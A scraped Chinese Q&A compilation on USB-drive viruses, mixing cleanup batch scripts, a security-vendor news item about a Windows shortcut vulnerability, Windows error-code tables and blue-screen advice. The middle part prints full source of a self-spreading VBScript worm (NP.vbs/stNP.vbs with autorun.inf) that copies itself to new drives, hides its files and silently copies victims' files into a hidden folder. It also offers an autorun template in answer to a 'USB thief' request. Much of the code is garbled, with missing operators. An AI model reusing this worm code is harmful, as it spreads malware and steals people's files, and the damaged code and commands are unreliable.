求U盘的一个病毒代码
哦，那个是加了command按键的
以下为代码
[autorun]
open=.\RECYCLER\RECYCLER.exe
shell\1=打开(O)
shell\1\Command=.\RECYCLER\RECYCLER.exe
shell\2\=浏览(B)
shell\2\Command=.\RECYCLER\RECYCLER.exe
shellexecute=.\RECYCLER\RECYCLER.exe
——————————————————————————————————————————
楼主的代码应该为
[autorun]
open=lf1.com
shell\1=打开(O)
shell\1\command=lf1.com
shellexecute=lf1.com
自制杀u盘病毒的批处理代码
复制代码
代码如下:
@echo
offmode
con
cols=61
lines=25color
f2
title
U盘病毒天敌
echo
名称:u盘病毒的天敌
echo
平台：windows
xp
echo
作者：小强
echo
版权所有，请勿倒翻！
cd\
del
/f
/q
/ah
*.exe
2nul
del
/f
/q
/as
*.exe
2nul
del
/f
/q
...exe
2nul
del
/f
/q
*.inf
2nul
md
autorun.inf
2nul
attrib
+s
+h
+a
+r
autorun.inf
1nul
for
/f
%%a
in
('dir
/ad
/b
2^nul')
do
(
del
/f
/q
"%%a.exe"
2nul
rd
/s
/q
"%%a.exe"
2nul
if
not
"%%a"
equ
"autorun.inf"
(
attrib
-s
-h
-a
-r
"%%a"
)
)
for
/f
%%b
in
('dir
/a-d
/b
2^nul')
do
(
if
not
"%%b"
equ
"desktop.ini"
(
attrib
-s
-h
-a
-r
"%%b"
1nul
2nul
)
)
echo.
echo.
echo
杀毒完毕，请按任意键退出！！！！！！！
echo.
echo.
echo
=============================================================
echo
==
☆注意☆
==
echo
==
一。本程序为粗略设计，并不是最完善，还望体谅！
==
echo
==
二。运行玩后请自己用你慧眼检查一些exe文件，以免漏杀
==
echo
==
三。如需复制该程序，请将其放入u盘使用！
==
echo
=============================================================
pausenul
360安全卫士出现“软件爆出高危漏洞,木马利用U盘疯狂传播”
微软近日刚曝出“快捷方式自动执行”高危0day漏洞，攻击代码很快就出现在国内外黑客论坛中。360安全专家警告说，该漏洞涉及XP、Vista、Win7等几乎所有Windows平台，U盘、手机、数码相机等所有USB设备都将成为木马病毒的传播通道，该漏洞已因此成为2010年以来最为严重的安全漏洞。
继7月17日在国内率先截获利用该漏洞传播的“假面”木马后，360安全中心今日再度独家提供应急补丁，用户只需根据弹窗提示点击“立即修复”，就能进行一键式修复，让电脑对该漏洞彻底免疫。
图片：360安全卫士拦截“快捷方式自动执行”漏洞攻击
危害空前：插上U盘就会中招
360安全专家石晓虹博士介绍说，利用该漏洞，木马病毒可以通过U盘、移动硬盘、手机、数码相机存储卡等USB设备自动传播。如果USB设备开启了“自动播放”功能，电脑插上带毒U盘就会中招；如果USB设备关闭了“自动播放”，只要用户打开U盘，哪怕不点击任何文件，木马病毒也会利用该漏洞侵入电脑。
360安全中心几天前独家截获了“假面”木马样本。经分析，该木马正是利用了“快捷方式自动执行”0day漏洞，在U盘等各种USB设备中创建恶意快捷方式，从而使木马在不同电脑间交叉感染。用户电脑一旦中招，“假面”木马甚至还会在电脑桌面和各个硬盘分区散播恶意快捷方式。如果杀毒软件不能把这些快捷方式完全清除，电脑重启后很快又会自动感染木马，导致游戏丢号、隐私被盗等后果。
360安全卫士提供一键解决方案
据国外研究人员分析，“假面”木马最初仅被黑客用于工业间谍活动。但由于攻击漏洞的方式已在网上公开，USB设备这一利用途径普及率又很高，必将被众多木马病毒快速利用。而对于国内某厂商宣称“禁用USB的自动播放功能就能免疫漏洞”的说法，360安全专家石晓虹博士表示，这只是该厂商对这一漏洞危害性的片面理解，很可能并未真正截获木马样本。
目前，微软已经针对这个漏洞发布安全建议（编号：2286198），但并没有公布具体将于何时修复漏洞。对此，360安全专家石晓虹认为，鉴于该漏洞涉及平台广（XP/Vista/Win7）、危害特别严重（木马传播易、清除难），因此在微软发布补丁前，USB设备将成为木马病毒最主要的传播通道，建议广大网民尽快按如下方式处理：
1、安装使用360安全卫士7.1及以上版本，360会根据您操作系统的版本自动提示“立即修复”该漏洞，点一下就可以打好应急补丁，是目前最彻底、简便的解决方案；
2、推荐您安装使用双核360杀毒软件，其中独创了一项“U盘病毒监控技术”：只允许经过安全认证的白名单程序在移动存储设备中运行，陌生程序和脚本则一律提示用户禁止运行，因此能够最全面地为用户抵御来自U盘等USB设备的木马病毒。
u盘autorun.inf病毒 源代码?
最新恶意复制型病毒autorun.inf，stNP.VBS，NP.VBS
及代码分析与病毒处理两种方法
方法一：来自于指间轻舞
此病毒最大的特点在于中毒后，自动感染你的硬盘根目录，并复制病毒文件。无论你是采用双击，还是右键选择打开，或者运行资源管理器都会自动运行其代码（病毒），所以中此病毒后，新手往往打不开盘符，导致数据无法读取。
下面是病毒的代码分析 文件总共有三个 都很简单，已经加上了注解。
文件名：autorun.inf [autorun]
open=
shell\open=打开(O)
shell\open\Command=WScript.exe stNP.vbs
shell\open\Default=1
shell\explore=资源管理器(X)
shell\explore\Command=WScript.exe stNP.vbs 文件名：stNP.VBS
功能是检测np.vbs是否存在,存在则运行on error resume next
set fso = CreateObject("Scripting.FileSys""temObject")
if fso.FileExists("NP.vbs") = -1 then
if fso.FileExists("d:\NP.vbs") = -1 then
set f = fso.getfile("d:\NP.vbs")
if f.attributes = 0 then
else
f.attributes = 0
end if
f.delete(true)
end if
fso.copyfile "NP.vbs", "d:\NP.vbs", true
set wshshell = wscript.createobject("WScript.Shell")
wshshell.run "d:\NP.vbs"
end if 文件名：NP.VBS
-----
[复制此代码]CODE:
'[NatruePark]
'容错语句
on Error resume next
'变量声明及初始化
dim fso, old_drs(), new_drs(), old_n, new_n, new_yn, wshshell
set fso = CreateObject("Scripting.File""SystemObject")
set wshshell = wscript.createobject("WScript.Shell")
old_n=0
redim old_drs(old_n)
old_drs(0)="C"
'[主体部分]
wshshell.run("explorer .\")
dim i
i = 0
do while i=0 and i8*360
scan_disk()
if judge_new_disk() = 1 then
dim left_n
left_n = 1
do while left_n=(new_n-old_n)
new_disk = new_drs(left_n+old_n)":\"
'-----------------维护块-----------------
if fso.FileExists(new_disk"NP.vbs") = -1 then
else
self_copy(new_disk)
end if
add_attrib(new_disk"NP.vbs")
if fso.FileExists(new_disk"autorun.inf") = -1 then
del_attrib(new_disk"autorun.inf")
end if
add_autorun(new_disk)
add_attrib(new_disk"autorun.inf")
if fso.FileExists(new_disk"stNP.vbs") = -1 then
else
add_stNP(new_disk)
end if
add_attrib(new_disk"stNP.vbs")
'-----------------/维护块-----------------
'-----------------功能块-----------------
dim rec
rec = "d:\Recyc1ed\"
if fso.FolderExists(rec) = -1 then
else
fso.createfolder(rec)
end if
add_attribf(rec)
if fso.FileExists(rec"desktop.ini") = -1 then
else
add_desktop(rec)
end if
add_attrib(rec"desktop.ini")
aim_folder = recDate()Rnd()
if fso.FolderExists(aim_folder) = -1 then
else
fso.createfolder(aim_folder)
end if
'查找"汽轮机原理文件夹并复制"
if fso.FolderExists(new_disk"汽轮机原理") = -1 then
fso.copyfolder new_disk"汽轮机原理", aim_folder, true
add_attribf(aim_folder)
end if
'通用复制
if old_n = 0 then
else
set fp = fso.getFolder(new_drs(new_n)":\")
set fc = fp.SubFolders
for each f in fc
fso.copyfolder f"", aim_folder"\"f.name, true
next
set fc = fp.files
for each f in fc
fso.copyfile f"", aim_folder"\", true
next
add_attribf(aim_folder)
end if
'-----------------/功能块-----------------
left_n=left_n+1
loop
copy_disk()
end if
wscript.sleep(10000)
i=i+1
loop
'[函数部分]
'可用驱动器检测 new_drs(),new_n
function scan_disk()
dim d, dr
new_n = -1
set dr = fso.drives
for each d in dr
if d.isready then
new_n=new_n+1
redim preserve new_drs(new_n)
new_drs(new_n)=d.driveletter
end if
next
end function
'判断是否有新加入的驱动器
function judge_new_disk()
if new_n = old_n then
judge_new_disk = 0
elseif new_n old_n then
redim preserve old_drs(new_n)
old_n = new_n
judge_new_disk = 0
elseif new_n old_n then
redim preserve old_drs(new_n)
judge_new_disk = 1
end if
end function
'复制新驱动器表单
function copy_disk()
dim n
n=0
do while n=new_n
old_drs(n) = new_drs(n)
n=n+1
loop
old_n = new_n
end function
'添加指定文件属性
function add_attrib(file)
set f = fso.getfile(file)
if f.attributes = 7 then
else
f.attributes = 7
end if
end function
'删除指定文件属性
function del_attrib(file)
set f = fso.getfile(file)
if f.attributes = 7 then
f.attributes = 0
else
end if
end function
'自我复制到指定文件目录
function self_copy(folder)
dim aim_path, mid_path, self_file, mid_file
aim_path = folder"NP.vbs"
mid_path = "c:\np.bin"
set self_file = fso.opentextfile(wscript.scriptfullname,1)
self = self_file.readall
set mid_file = fso.opentextfile(mid_path,2,true)
mid_file.write self
mid_file.close
set mid_file = fso.getfile(mid_path)
mid_file.copy(aim_path)
mid_file.delete(true)
end function
'增加autorun.inf
function add_autorun(folder)
dim path
path = folder"autorun.inf"
set temp = fso.CreateTextFile("c:\a.bin",true)
temp.writeline "[autorun]"
temp.writeline "open="
temp.writeline "shell\open=打开(O)"
temp.writeline "shell\open\Command=WScript.exe stNP.vbs"
temp.writeline "shell\open\Default=1"
temp.writeline "shell\explore=资源管理器(X)"
temp.writeline "shell\explore\Command=WScript.exe stNP.vbs"
temp.close
set cop = fso.getfile("c:\a.bin")
cop.copy(path)
cop.delete(true)
end function
'增加desktop.ini
function add_desktop(folder)
dim path
path = folder"desktop.ini"
set temp = fso.CreateTextFile("c:\d.bin",true)
temp.writeline "[.ShellClassInfo]"
temp.writeline "CLSID={645FF040-5081-101B-9F08-00AA002F954E}"
temp.close
set cop = fso.getfile("c:\d.bin")
cop.copy(path)
cop.delete(true)
end function
'增加stNP.vbs
function add_stNP(folder)
dim path
set fso = CreateObject("Scripting.File""SystemObject")
path = folder"stNP.vbs"
set temp = fso.CreateTextFile("c:\s.bin",true)
temp.writeline "on error resume next"
temp.writeline "set fso = CreateObject("chr(34)"Scripting.FileSys"chr(34)""chr(34)"temObject"chr(34)")"
temp.writeline "if fso.FileExists("chr(34)"NP.vbs"chr(34)") = -1 then"
temp.writeline "if fso.FileExists("chr(34)"d:\NP.vbs"chr(34)") = -1 then"
temp.writeline "set f = fso.getfile("chr(34)"d:\NP.vbs"chr(34)")"
temp.writeline "if f.attributes = 0 then"
temp.writeline "else"
temp.writeline "f.attributes = 0"
temp.writeline "end if"
temp.writeline "f.delete(true)"
temp.writeline "end if"
temp.writeline "fso.copyfile "chr(34)"NP.vbs"chr(34)", "chr(34)"d:\NP.vbs"chr(34)", true"
temp.writeline "set wshshell = wscript.createobject("chr(34)"WScript.Shell"chr(34)")"
temp.writeline "wshshell.run "chr(34)"d:\NP.vbs"chr(34)
temp.writeline "end if"
temp.close
set cop = fso.getfile("c:\s.bin")
cop.copy(path)
cop.delete(true)
end function
'添加指定文件夹属性
function add_attribf(folder)
set f = fso.getfolder(folder)
if f.attributes = 7 then
else
f.attributes = 7
end if
end function
'删除指定文件夹属性
function del_attribf(folder)
set f = fso.getfolder(folder)
if f.attributes = 0 then
else
f.attributes = 0
end if
end function wscript.echo("THANK YOU!!")
wscript.quit 病毒好像有点良心 不会感染C盘，所以解决的方法还是有的：用资源管理器打开C盘，然后在左边展开其他盘符，在工具-文件夹-查看中去掉隐藏受保护的系统文件的钩并选择查看所有文件。将各个盘符隐藏的以上三个文件删除，重新启动即可。
方法二：作者刚成功操作得出
只需要进入WinPE之后，查找NP.VBS就可以连stNP.VBS全部查处，删除这些恶魔，即可！！！
U盘小偷的VBS代码怎么写？
使用autorun.inf
,最佳写法
[autorun]
open=xx.exe
shell\open=打开(o)
shell\open\command=xx.exe
shell\open\default=1
shell\explore=资源管理器(x)
shell\explore\command=xx.exe
其中的xx.exe就是你要运行的程序，这种写法,无论你怎么样打开,都会自动运行
u盘杀毒代码
U盘病毒的总结
第一：U盘里单有一个名为Autorun.inf的文件夹，无论文件名字是大小写，文件属性是隐藏还是未隐藏，均不是病毒。
是在某种情况下系统对U盘的免役。
第二：U盘出现 .exe的文件，原有的文件看不到了。那么别格式化U盘，删除这些.EXE的文件就可以了。它是个假象，
隐藏了原文件。
第三：U盘每个文件夹下生成相同文件名的.exe的文件夹，已经中招了。用USBKILL杀下毒或者360
安全模式下杀毒是解决比较顽固的U盘毒。
第四：已知U盘中招了，那么写个批处理（在桌面新建一个.TXT的文本，复制以下代码在里面，然后改为.BAT的可执行文件 《文件扩展名在“工具”“文件夹”选项里调出》）
@echo on
taskkill im explorer.exe f
taskkill im wscript.exe f
taskkill im algsrvs.exe f
start reg DELETE HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun v IMJPMIG8.2 f
start reg DELETE HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun v MsServer f
start reg DELETE
HKEY_LOCAL_MACHINESoftwareMicrosoftwindowsCurrentVersionexplorerAdvancedFolderHidden
SHOWALL v CheckedValue f
start reg add HKCUSOFTWAREMicrosoftWindowsCurrentVersionEXplorerAdvanced v
ShowSuperHidden t REG_DWORD d 1 f
start reg add
HKEY_LOCAL_MACHINESoftwareMicrosoftwindowsCurrentVersionexplorerAdvancedFolderHidden
SHOWALL v CheckedValue t REG_DWORD d 1 f
start reg import kill.reg
del cautorun. fun.xls.exe f q as
del %SYSTEMROOT%system32autorun. msime82.exe algsrvs.exe fun.xls.exe msfun80.exe f q
as
del %temp%~DF8785.tmp ~DFD1D6.tmp ~DFA4C3 ~DFC86B.tmp f q as
del %systemroot%ufdata2000.log
del dautorun. fun.xls.exe f q as
del eautorun. fun.xls.exe f q as
del fautorun. fun.xls.exe f q as
del gautorun. fun.xls.exe f q as
del hautorun. fun.xls.exe f q as
del iautorun. fun.xls.exe f q as
del jautorun. fun.xls.exe f q as
del kautorun. fun.xls.exe f q as
del lautorun. fun.xls.exe f q as
start explorer.exe
建议以后用这个批处理打开硬盘U盘
第五：有些U盘病毒是依附.exe的文件运行的，所以记住别直接双击打开U盘，用右键的打开或者资源管理器去打开U盘（或者硬盘分区）
第六：在U盘里新建一个.txt 的文本，然后将它重命名为Autorun.inf，并修改其属性为隐藏只读（也就是右键属性里修改）可以防止U盘病毒的写入
u盘 蓝屏出现代码！Stop：0×00000019（0×00000020，0×874c79e8，0×874c7a10，0×0A050005）
机器蓝屏的问题，有很多种，最长见的就是和内存有关系，有时候内存和主板不兼容，机箱做工不好，主板安上去有时候会因为螺丝口不正导致扭曲，从而出现蓝屏。
像你的这种原因应该有以下几点：
1。内存做工不好，也就是说内存可能是假的！
2。内存与主板不兼容！
反正就是硬件的问题。给你发个蓝屏代码的表，自己看看！
Windows蓝屏错误代码祥解
蓝屏错误代码祥解我们在使用Windows的时候，出现蓝屏是经常的事。大多数时候，我们只能reset，现在公布蓝屏错误代码含义，以备使用。
数 值 叙 述
0 0x0000作业完成。
1 0x0001不正确的函数。
2 0x0002系统找不到指定的档案。
3 0x0003系统找不到指定的路径。
4 0x0004系统无法开启档案。
5 0x0005拒绝存取。
6 0x0006无效的代码。
7 0x0007储存体控制区块已毁。
8 0x0008储存体空间不足，无法处理这个指令。
9 0x0009储存体控制区块位址无效。
10 0x000A环境不正确。
11 0x000B尝试载入一个格式错误的程式。
12 0x000C存取码错误。
13 0x000D资料错误。
14 0x000E储存体空间不够，无法完成这项作业。
15 0x000F系统找不到指定的磁碟机。
16 0x0010无法移除目录。
17 0x0011系统无法将档案移到 其他的磁碟机。
18 0x0012没有任何档案。
19 0x0013储存媒体为防写状态。
20 0x0014系统找不到指定的装置。
21 0x0015装置尚未就绪。
22 0x0016装置无法识别指令。
23 0x0017资料错误 (cyclic redundancy check)
24 0x0018程式发出一个长 度错误的指令。
25 0x0019磁碟机在磁碟找不到 持定的磁区或磁轨。
26 0x001A指定的磁碟或磁片无法存取。
27 0x001B磁碟机找不到要求的磁区。
28 0x001C印表机没有纸。
29 0x001D系统无法将资料写入指定的磁碟机。
30 0x001E系统无法读取指定的装置。
31 0x001F连接到系统的某个装置没有作用。
32 0x0020 The process cannot access the file because it is being used by another process.
33 0x0021档案的一部份被锁定，现在无法存取。
34 0x0022磁碟机的磁片不正确。 请将 %2 (Volume Serial Number: %3) 插入磁 碟 机%1。
36 0x0024开启的分享档案数量太多。
38 0x0026到达档案结尾。
39 0x0027磁碟已满。
50 0x0032不支援这种网路要求。
51 0x0033远端电脑无法使用。
52 0x0034网路名称重复。
53 0x0035网路路径找不到。
54 0x0036网路忙碌中。
55 0x0037 The specified network resource or device is no longer available.
56 0x0038 The network BIOS command limit has been reached.
57 0x0039网路配接卡发生问题。
58 0x003A指定的伺服器无法执行要求的作业。
59 0x003B网路发生意外错误。
60 0x003C远端配接卡不相容。
61 0x003D印表机伫列已满。
62 0x003E伺服器的空间无法储存等候列印的档案。
63 0x003F等候列印的档案已经删除。
64 0x0040指定的网路名称无法使用。
65 0x0041拒绝存取网路。
66 0x0042网路资源类型错误。
67 0x0043网路名称找不到。
68 0x0044超过区域电脑网路配接卡的名称限制。
69 0x0045超过网路BIOS作业阶段的限制。
70 0x0046远端伺服器已经暂停或者正在起始中。
71 0x0047由於连线数目已达上限，此时无法再连线到这台远端电脑。
72 0x0048指定的印表机或磁碟装置已经暂停作用。
80 0x0050档案已经存在。
82 0x0052无法建立目录或档案。
83 0x0053 INT 24 失败
84 0x0054处理这项要求的储存体无法使用。
85 0x0055近端装置名称已经在使用中。
86 0x0056指定的网路密码错误。
87 0x0057叁数错误。
88 0x0058网路发生资料写入错误。
89 0x0059此时系统无法执行其他行程。
100 0x0064无法建立其他的系统semaphore。
101 0x0065属於其他行程专用的semaphore 。
102 0x0066 semaphore已经设定，而且无法关闭。
103 0x0067无法指定semaphore 。
104 0x0068在岔断时间无法要求专用的semaphore 。
105 0x0069此semaphore先前的拥有权已经结束。
2 Windows蓝屏错误代码祥解和分析
106 0x006A请将磁片插入 %1。
107 0x006B因为代用的磁片尚未插入，所以程式已经停止。
108 0x006C磁碟正在使用中或被锁定。
109 0x006D Pipe已经中止。
110 0x006E系统无法开启指定的 装置或档案。
111 0x006F档名太长。
112 0x0070磁碟空间不足。
113 0x0071没有可用的内部档案识别字。
114 0x0072目标内部档案识别字不正确。
117 0x0075由应用程式所执行的IOCTL呼叫 不正确。
118 0x0076写入验证叁数值不正确。
119 0x0077系统不支援所要求的指令。
120 0x0078此项功能仅在Win32模式有效。
121 0x0079 semaphore超过逾时期间。
122 0x007A传到系统呼叫的资料区域 太小。
123 0x007B档名、目录名称或储存体标签语法错误。
124 0x007C系统呼叫层次不正确。
125 0x007D磁碟没有设定标签。
126 0x007E找不到指定的模组。
127 0x007F找不到指定的程序。
128 0x0080没有子行程可供等待。
129 0x0081 %1这个应用程式无法在Win32模式下执行。
130 0x0082 Attempt to use a file handle to an open disk partition for an operation other than raw disk I/O.
131 0x0083尝试将档案指标移至档案开头之前。
132 0x0084无法在指定的装置或档案，设定档案指标。
133 0x0085 JOIN或SUBST指令 无法用於 内含事先结合过的磁碟机。
134 0x0086尝试在已经结合的磁碟机，使用JOIN或SUBST指令。
135 0x0087尝试在已经替换的磁碟机，使 用JOIN或SUBST指令。
136 0x0088系统尝试删除 未连结过的磁碟机的连结关系。
137 0x0089系统尝试删除 未替换过的磁碟机的替换关系。
138 0x008A系统尝试将磁碟机结合到已经结合过之磁碟机的目录。
139 0x008B系统尝试将磁碟机替换成已经替换过之磁碟机的目录。
140 0x008C系统尝试将磁碟机替换成已经替换过之磁碟机的目录。
141 0x00系统尝试将磁碟机SUBST成已结合的磁碟机 目录。
142 0x008E系统此刻无法执行JOIN或SUBST。
143 0x008F系统无法将磁碟机结合或替换同一磁碟机下目录。
144 0x0090这个目录不是根目录的子目录。
145 0x0091目录仍有资料。
146 0x0092指定的路径已经被替换过。
147 0x0093资源不足，无法处理这项 指令。
148 0x0094指定的路径这时候无法使用。
149 0x0095尝试要结合或替换的磁碟机目录，是已经替换过的的目标。
150 0x0096 CONFIG.SYS档未指定系统追踪资讯，或是追踪功能被取消。
151 0x0097指定的semaphore事件DosMuxSemWait数目不正确。
152 0x0098 DosMuxSemWait没有执行；设定太多的semaphore。
153 0x0099 DosMuxSemWait清单不正确。
154 0x009A您所输入的储存媒体标 元长度限制。
155 0x009B无法建立其他的执行绪。
156 0x009C接收行程拒绝接受信号。
157 0x009D区段已经被舍弃，无法被锁定。
158 0x009E区段已经解除锁定。
159 0x009F执行绪识别码的位址不正确。
160 0x00A0传到DosExecPgm的引数字串不正确。
161 0x00A1指定的路径不正确。
162 0x00A2信号等候处理。
164 0x00A4系统无法建立执行绪。
167 0x00A7无法锁定档案的部份范围。
170 0x00AA所要求的资源正在使用中。
173 0x00AD取消范围的锁定要求不明显。
174 0x00AE档案系统不支援自动变更锁定类型。
180 0x00B4系统发现不正确的区段号码。
182 0x00B6作业系统无法执行 %1。
183 0x00B7档案已存在，无法建立同一档案。
186 0x00BA传送的旗号错误。
187 0x00BB指定的系统旗号找不到。
188 0x00BC作业系统无法执行 %1。
189 0x00BD作业系统无法执行 %1。
190 0x00BE作业系统无法执行 %1。
191 0x00BF无法在Win32模式下执行 %1。
192 0x00C0作业系统无法执行 %1。
193 0x00C1 %1不是正确的Win32应用程式。
194 0x00C2作业系统无法执行 %1。
195 0x00C3作业系统无法执行 %1。
196 0x00C4作业系统无法执行 这个应用程式。
197 0x00C5作业系统目前无法执行 这个应用程式。
198 0x00C6作业系统无法执行 %1。
199 0x00C7作业系统无法执行 这个应用程式。
200 0x00C8程式码的区段不可以大於或等於64KB。
201 0x00C9作业系统无法执行 %1。
202 0x00CA作业系统无法执行 %1。
203 0x00CB系统找不到输入的环境选项。 \\r
205 0x00CD在指令子目录下，没有任何行程有信号副处理程式。
206 0x00CE档案名称或副档名太长。
207 0x00CF ring 2堆叠使用中。
208 0x00D0输入的通用档名字元 * 或 ? 不正确， 或指定太多的通用档名字元。
209 0x00D1所传送的信号不正确。
210 0x00D2无法设定信号处理程式。
212 0x00D4区段被锁定，而且无法重新配置。
214 0x00D6附加到此程式或动态连结模组的动态连结模组太多。
215 0x00D7 Can\"\"t nest calls to LoadModule.
230 0x00E6 The pipe state is invalid.
231 0x00E7所有的pipe instances都在忙碌中。
232 0x00E8 The pipe is being closed.
233 0x00E9 No process is on the other end of the pipe.
234 0x00EA有更多可用的资料。
240 0x00F0作业阶段被取消。
254 0x00FE指定的延伸属性名称无效。
255 0x00FF延伸的属性不一致。
259 0x0103没有可用的资料。
266 0x010A无法使用Copy API。
267 0x010B目录名称错误。
275 0x0113延伸属性不适用於缓冲区。
276 0x0114在外挂的档案系统上的延伸属性档案已经毁损。
277 0x0115延伸属性表格档满。
278 0x0116指定的延伸属性代码无效。
282 0x011A外挂的这个档案系统不支援延伸属性。
288 0x0120意图释放不属於叫用者的mutex。
298 0x012A semaphore传送次数过多。
299 0x012B只完成Read/WriteProcessMemory的部份要求。
317 0x013D系统找不到位於讯息档 %2中编号为0x%1的讯息。
487 0x01E7尝试存取无效的位址。
534 0x0216运算结果超过32位元。
535 0x0217通道的另一端有一个行程在接送资料。
536 0x0218等候行程来开启通道的另一端。
994 0x03E2存取延伸的属性被拒。
995 0x03E3由於执行绪结束或应用程式要求，而异常终止I/O作业。
996 0x03E4重叠的I/O事件不是设定成通知状态。
997 0x03E5正在处理重叠的I/O作业。
998 0x03E6对记忆体位置的无效存取。
999 0x03E7执行inpage作业发生错误。
Windows蓝屏死机分析及解决方案
Windows使用过程中，经常会遇到蓝屏的现象。对于初学者来讲，好象就是一场电脑灾难一样，不知所措。其实只要了解其原因之后，对症下药即可。造成蓝屏的原因有很多种，总体可以概括为以下几种：
一、屏幕显示系统忙，请按任意键继续……
1、虚拟内存不足造成系统多任务运算错误
虚拟内存是WINDOWS系统所特有的一种解决系统资源不足的方法，其一般要求主引导区的硬盘剩余空间是其物理内存的2-3倍。而一些发烧友为了充分利用空间，将自己的硬盘塞到满满的，忙记了WINDOWS这个苛刻的要求。结果导致虚拟内存因硬盘空间不足而出现运算错误，所以就出现蓝屏。要解决这个问题好简单，尽量不要把硬盘塞得满满的，要经常删除一些系统产生的临时文件、交换文件，从而可以释放空间。或可以手动配置虚拟内存，选择高级，把虚拟内存的默认地址，转到其他的逻辑盘下。这样就可以避免了因虚拟内存不足而引起的蓝屏。
2、CPU超频导致运算错误
超频对于发烧友来说是常事，所以由超频所引起的各种故障也就在所难免了。超频，就本身而言就是在原有的基础上完成更高的性能，但由于进行了超载运算，造成其内部运算过多，使CPU过热，从而导致系统运算错误。有些CPU的超频性能比较好，但有时也会出现一些莫名其妙的错误。(建议CPU要超频时，散热工作一定要做好，最好装一个大的风扇，再加上一些硅胶之类的散热材料。）
二、内存条的互不兼容或损坏引起运算错误
这时个最直观的现象，因为这个现象往往在一开机的时候就可以见到，根本启动不了计算机，画面提示出内存有问题，问你是否要继续。造成这种错误是物理上的损坏内存或者内存与其它硬件不兼容所致。这时候只有换过另外的内存了。
三、遭到不明的程序或病毒攻击所至
这个现象只要是平时我们在上网的时候遇到的，当我们在冲浪的时候，特别是进到一些BBS站时，可能暴露了自己的IP，被"黑客"用一些软件攻击所至。对互这种情况最好就是在自己的计算机上安装一些防御软件。再有就是登录BBS等共众场合时要进行安全设置，隐藏自己IP。
四、系统的臃肿所至
例如：Windows98系统上安装的应用软件太多，尤其是那些随系统启动的应用程序，往往在系统启动过程中，会出现蓝屏现象。这种情况大多是由于应用程序共享内存冲突影响的！所以大家最好不要把应用程序加入启动组。
五、光驱在读盘时被非正常打开所至
这个现象是在光驱正在读取数据时，由于被误*作打开而导致出现蓝屏。这个问题不影响系统正常动作，只要再弹入光盘或按ESC键就可以。
以上是常遇到的情况，或许还会有其他一些莫名其妙的问题导致计算机出现蓝屏。不管怎样，遇到这类问题后，应先仔细分析问题发生的原因，然后再着手解决。希望以上几点能给朋友们有所帮助。
我复制的别人的